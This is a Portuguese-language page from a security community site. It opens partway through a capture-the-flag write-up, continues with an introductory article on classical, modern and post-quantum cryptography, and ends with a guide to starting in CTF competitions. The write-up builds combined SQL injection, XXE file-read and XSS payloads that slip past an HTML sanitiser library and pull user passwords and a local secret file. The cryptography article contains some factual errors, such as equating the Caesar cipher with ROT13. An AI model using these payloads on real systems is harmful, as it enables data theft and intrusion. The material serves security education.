remoções da lib é a de comentários. A lib também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo: <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário. SQL Injection com comentários do HTML: <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS: <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string. Partes restantes do payload depois do sanitize: ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>: Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml. No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload. Payload Final usando comentário javascript: <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe. Payload Final <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->
  10. O que é criptografia? É uma área de estudo que tem foco em transferir dados entre um grupo sem que alguém de fora desse grupo consiga recuperar os dados. Para isso é necessário alguma convenção do grupo, todos eles devem usar um mesmo mecanismo que geralmente envolve algum passo a passo, o que chamamos de algoritmo, e uma chave que apenas as pessoas do grupo podem ter acesso. Criptografia clássica Desde muito tempo temos essa necessidade de trocar informações de forma secreta, então antes mesmo de existir computadores já existia a criptografia. Antigamente eram bem comuns esquemas de cifra de substituição, ou seja, um grupo criava um mapa de representação de caracteres, por exemplo o “A” vira “C”, “B” vira “K”, e por aí vai. Um bom exemplo é a cifra de césar, também conhecida como ROT13, é uma cifra de substituição bem simples que cada caractere é mapeado para uma posição, por exemplo “A” vira “0”, “B” vira “1”, etc. Depois disso era escolhida uma chave, no caso o césar escolheu 13, e todas as posições eram somadas 13, então onde tinha “A” vira a letra na posição 13 que é a letra “N”, “B” vira a da posição 14 ou seja a letra “O”, etc. Figura 1 - Uma ilustração do mapa e a palavra CESAR ambas com a chave 13 Além da cifra de César, outra bem comum, porém menos antiga, é a cifra de Vigenère que na verdade é uma generalização da cifra de César. Basicamente invés de somar uma chave fixa vamos somar o deslocamento da chave mais do texto simples. Por exemplo, vamos ter uma chave “ACB” e um texto simples “DFG”, então o “D” vira a posição 4 do alfabeto que começa com a letra “A”, o “F” vira a posição 6 do alfabeto que começa com C e por aí vai. Criptografia moderna Com a popularização dos computadores a criptografia clássica foi ficando obsoleta porque a capacidade de cálculo do computador é muito alta. Logo, por exemplo, se uma pessoa interceptar uma cifra feita com o esquema de César fica muito fácil para ela recuperar a informação sem saber a chave, apenas testando todas as chaves possíveis. A partir dessa fraqueza dos esquemas clássicos surgiu a criptografia moderna que engloba esquemas de chave simétrica, assimétrica e funções hash. A criptografia de chave simétrica funciona com o princípio de que existe uma chave secreta e alguns exemplos de primitivas são AES e Salsa20. Em geral, essas primitivas se baseiam em uma matemática pesada, extensa e difícil que acaba se reduzindo a operações de bit a bit, como XOR e AND. Embora as primitivas já tragam bastante segurança, não é recomendado usar apenas a primitiva e sim uma implementação dela, como por exemplo AES-256 que usa a primitiva do AES porém com uma chave de 256 bits. Além disso, no caso de cifras em blocos, também é interessante utilizar algum modo de operação, que é essencialmente como cada bloco vai ser processado a cada passo da encriptação. Figura 2 - Criptografia com chave simétrica Além da criptografia de chave simétrica, também existe a de chave assimétrica que se baseia em uma chave pública, que pode ser conhecida por qualquer um, e uma privada, que é secreta. As primitivas desse tipo são baseadas em uma função armadilha, que é uma função na qual é muito fácil realizar uma operação de transformação mas é muito difícil realizar o inverso. Um bom exemplo para esse tipo é o RSA, as funções armadilhas do RSA são a de logaritmo discreto e a fatoração de um número. Figura 3 - Criptografia com chave assimétrica Além desses esquemas também vieram as funções hash, que são funções que transformam um dado em um conjunto de bits de forma que aquele dado seja único, para garantir unicidade na verdade se parte do princípio de que com uma probabilidade muito baixa dois dados vão ter o mesmo conjunto de bits, então sempre pode acontecer de ter a chamada colisão que é quando dois dados geram a mesma hash. Exemplos de funções hash são MD5 e SHA1, que estão depreciadas pois já foram encontradas formas de gerar colisão, e SHA2 que até agora está bem. Criptografia pós quântica Na década de 90, mais precisamente entre 1995 e 1996, surgiram dois algoritmos, um deles, o algoritmo de Shor, diz que é possível inverter uma função armadilha na qual grande parte dos esquemas assimétricos são estruturados e o outro, algoritmo de Grover, descreve uma forma de diminuir o tempo da busca pela chave secreta de esquemas simétricos. Porém ambos algoritmos precisam de um computador quântico que ainda não foi desenvolvido, com a chegada desses algoritmos a comunidade científica que pesquisa criptografia viu que era necessário criar esquemas baseados em problemas que nem computadores quânticos conseguissem quebrar, e aí surgiu a criptografia pós quântica. Só para sabermos a proporção, ter esses algoritmos significa que qualquer um com acesso a um computador quântico forte o suficiente vai conseguir ver qualquer dado que uma pessoa troca com a maioria dos sites, seja cartão de crédito, endereço, senhas, isso porque a maioria dos sites usa um esquema junto do protocolo TLS que é “quebrável” com o algoritmo de Shor. Embora os algoritmos existam há bastante tempo, somente em 2016 começaram a planejar uma padronização assim como fizeram com AES e RSA. O National Institute of Standards and Technology ou NIST organizou alguns rounds em que pesquisadores pudessem compartilhar esquemas que pudessem ser usados como primitivas para uma troca segura de informações. Os esquemas nesses rounds são divididos em algumas funções de armadilha que possuem muitos casos de borda e acabam sendo bem fáceis de resolver nesses casos, então para criar um esquema bom é preciso bastante conhecimento no problema matemático que ele é baseado, além de conhecimento de ataques. Como transferir/armazenar dados de forma segura? Transferir dados de forma segura parece uma tarefa difícil depois de ler um pouco sobre criptografia pós quântica, porém ainda não sabemos quando um computador quântico bom o suficiente vai ser criado. Para transferir dados encriptados em um protocolo de texto usamos algum tipo de encoding. Encoding é só uma tradução do dado de uma convenção para outra, os mais comuns que consigo lembrar são codificação base64 e hexadecimal. Lembrando que encoding não é considerado criptografia pois não envolve nenhuma chave e nem funções de uma via, como nos hashes. Seguem algumas boas práticas para troca e armazenamento de dados: Nunca implemente um esquema criptográfico. Sempre use bibliotecas de preferência com código aberto, a não ser que você saiba realmente o que está fazendo. Nunca armazene senhas em texto simples. É recomendado armazenar hashes de senhas. Sempre verifique a integridade do arquivo que foi transferido, seja pela hash ou verificando alguma assinatura. Sempre troque chaves secretas com algum mecanismo seguro de troca de chaves. Para se manter atualizado sobre o estado da arte da criptografia é interessante ver blogs de pesquisadores e publicações científicas. Muitos pesquisadores publicam no ePrint da iacr onde também tem várias palestras gratuitas. Outras apresentações muito boas são da conferência Chaos Computer Club, onde grandes pesquisadores montam palestras com conteúdo muito bom e didático. Se você curte uns desafios, também tem o site CryptoHack, que tem vários desafios bem interessantes de RSA, criptografia de curvas elípticas, AES, desafios matemáticos e até alguns de hashing.
  11. Olá, pessoal! Primeiramente, gostaria de agradecer a parceria do Mente Binária com nosso time, o ELT, visando trazer conteúdo de qualidade pra comunidade, principalmente pra quem está começando no mundo dos CTFs e na área de segurança da informação em geral. Nosso objetivo é ajudar a fortalecer as bases, pois com uma base sólida, o player consegue ir longe tanto nas competições quanto na carreira profissional. Neste primeiro artigo, vamos falar um pouco sobre o que são CTFs, por que acreditamos que as pessoas deveriam jogar e qual a melhor maneira de começar. O que são CTFs? CTF significa Capture The Flag, e nessas competições o objetivo do player é resolver desafios de computação, normalmente ligados diretamente à Segurança da Informação, e obter flags, que são códigos que confirmam que a pessoa resolveu um desafio, e permite que ela pontue no Dashboard (placar). A pontuação varia de acordo com a dificuldade de cada desafio. Atualmente existem três grandes formatos de CTF: os Jeopardy-style, Attack&Defense e os que são Pentest-based. Nesse artigo focaremos nos Jeopardy, que são a especialidade do nosso time. O formato da flag varia de evento pra evento, mas em geral elas possuem um prefixo escolhido pelo organizador. Veja alguns exemplos: Genérico: flag{alguma_string_aqui} Pwn2Win CTF: CTF-BR{alguma_string_aqui} DEF CON CTF: OOO{alguma_string_aqui} CTFs Jeopardy-style Nas competições Jeopardy, são apresentadas diversas categorias de desafios aos participantes, que variam de evento pra evento, ficando a cargo da organização decidir quais categorias serão exploradas. Essa escolha é baseada nas habilidades dos membros que criarão os desafios, chamados de challenges. Esses eventos normalmente ocorrem aos finais de semana, e têm duração de 24, 36 ou 48 horas consecutivas, sem intervalo. Os times que participam dessas competições podem ter quantos membros quiserem, a não ser que a competição limite o número de participantes (o que é bem raro). O CTFTime.org é o site que contém o ranking internacional dos CTFs Jeopardy e Attack&Defense, o perfil dos times e players, e os eventos que estão por vir (Upcoming). Ele também centraliza os write-ups das equipes, que são os tutoriais feitos após as competições. É uma forma de ver as diversas abordagens que levaram à solução de cada equipe, e aprender bastante com isso. Atualmente, as categorias de desafios que são praticamente obrigatórias pra qualquer evento, são: Pwning / Binary Exploitation É entregue um binário (um programa executável) com alguma vulnerabilidade aos times, e eles tem que fazer engenharia reversa, achar a vulnerabilidade, e criar um exploit pra esse programa, que tem uma cópia rodando como serviço (daemon) em um servidor remoto,. O objetivo é explorar este serviço, visando conseguir ler a flag. As mais diversas técnicas e falhas envolvendo corrupção de memória são exploradas, bem como o bypass de todas as mitigações existentes. Cryptography Desafios que exploram ataques criptográficos, como explorar algoritmos deficientes (com bugs) ou implementados incorretamente, além de técnicas diversas contra algoritmos e implementações existentes que não são seguras ou podem de alguma forma ser subvertidos. Miscellaneous Aqui, os criadores podem usar toda sua criatividade e colocar desafios de computação que não se encaixam necessariamente nas outras categorias. Alguns eventos colocam aqui desafios de programação, também chamados de PPC (Professional Programming and Coding), de Análise Forense, Redes, etc, apesar dessas categorias também poderem ser apresentadas separadamente. Reverse Engineering O objetivo é fazer engenharia reversa de um binário, que pode ter sido escrito em qualquer linguagem e compilado pra qualquer arquitetura, entender seu funcionamento e extrair a flag. Às vezes podem envolver análise de malwares. Web Hacking Nessa categoria, os players exploram aplicações web com as mais diversas vulnerabilidades. O código-fonte pode ou não ser disponibilizado. Também existem outras categorias, que são mais raras, como Hardware Hacking e Eletrônica (sempre presentes no Pwn2Win - evento internacional que nosso time organiza). Há também a possibilidade de um desafio englobar mais de uma categoria, como Reverse Engineering + Cryptography, Web Hacking + Cryptography, etc. Por que jogar? Apesar da participação nesse tipo de competição poder ser realizada de forma individual, é difícil ser competitivo jogando sozinho, já que as competições exigem habilidades multidisciplinares, devido à variedade de categorias. Seguem alguns aspectos que talvez motive você a começar a jogar: É uma ótima maneira pra aprender técnicas novas e aplicar em programas de Bug Bounty ou na realização de Pentests. Fortalece muito o trabalho em equipe, característica que é essencial para o mercado de trabalho atual. Faz as pessoas pensarem fora da caixa pra tentar bypassar as restrições impostas pelos criadores dos desafios. Eventualmente, sua equipe pode encontrar 0days, já que o brainstorm pra resolução dos desafios entre os membros é grande. Times competitivos podem conhecer outros países/culturas e ganhar boas premiações em dinheiro. Por exemplo, o ELT já foi pro Japão duas vezes: em 2018 e 2019. CTFs abrem diversas portas para oportunidades de emprego e criam um networking muito bom. Recrutadores bem instruídos sabem o valor de alguém que é um bom CTF Player. A rivalidade saudável entre os times é algo que pode impulsionar seu aprendizado e a sua evolução intelectual e técnica. Como começar? Podemos dividir o início em três fases: Fase 1 - Base teórica e pré-requisitos Você precisa dar uma olhada nas categorias, talvez ler alguns write-ups, e decidir com qual categoria tem mais afinidade. Foco é importante pra conseguir evoluir. Não atire em várias categorias ao mesmo tempo! Escolhida a categoria, leia bastante e adquira os conhecimentos fundamentais sobre a área, pra não chegar cru nos desafios. Além de leitura, outra opção é ver vídeos de boas fontes no YouTube. O próprio canal Papo Binário (aqui do Mente Binária) tem vários cursos e vídeos avulsos que podem ajudá-lo a adquirir uma boa base, principalmente se você está mirando em Reversing ou Pwning. Algo que é válido para praticamente todas as categorias, é aprender alguma linguagem de programação versátil, como o Python. Além disso, conhecimentos básicos em Redes e Sistemas Operacionais farão toda a diferença, independente do caminho que você decida seguir! A grande máxima aqui é que jogar CTFs é uma ferramenta para lapidar o conhecimento existente e elevar você a outros níveis. Aprender uma categoria do zero apenas jogando não é um caminho muito interessante, e que com certeza vai deixar várias lacunas no aprendizado. Fase 2 - Começando a brincar A melhor maneira de colocar a mão na massa, quando decidir que está pronto, é através de sites de Wargames, que são "CTFs" que funcionam 24/7. Algumas indicações de sites com desafios bons: ringzer0team.com - Desafios de todas as categorias. root-me.org - Desafios de todas as categorias. Possui material de apoio. cryptohack.org - Desafios específicos de criptografia. pwnable.xyz - Desafios específicos de pwning. Fase 3 - Hora da ação Após ter adquirido a base e treinado nos sites propostos, convide alguns amigos, veja a lista de CTFs que estão por vir no CTFTime.org, e comece a praticar nas competições que não tem rating alto, que são normalmente mais fáceis. Um ponto negativo é que elas podem ter desafios que envolvem adivinhação (guessing), caso os organizadores sejam inexperientes. Nesse caso, apenas ignore esses. Links Úteis Links úteis que podem ajudá-lo na sua jornada: CTFTime Write-ups - Repositório de Write-ups do CTFTime. CTF-BR Docs - Compilação de links interessantes, como palestras, artigos e outros recursos. ELT Write-ups: CTFTime Profile Page (links para os write-ups na parte inferior) e GitHub. Canal LiverOverflow - Vários vídeos muito bem produzidos relacionados à conteúdo técnico de CTF e infosec em geral. Em inglês. A Comunidade Brasileira No Brasil, desde 2014, o CTF-BR tem tentado unir e fortalecer os times, bem como ajudar na formação de novas equipes e no crescimento dos players. Para ficar mais próximo e interagir com o pessoal, veja as redes sociais do projeto. É isso pessoal, espero que tenham gostado e se interessado pelo maravilhoso mundo dos CTFs, e qualquer dúvida pode ser tirada pelo Telegram, via IRC (gnx @ freenode), comentando aqui no artigo ou nos grupos do CTF-BR que podem ser vistos no link acima. Vale também assistir o seguinte vídeo, onde complemento este artigo: Até a próxima! \o/
×
×
  • Create New...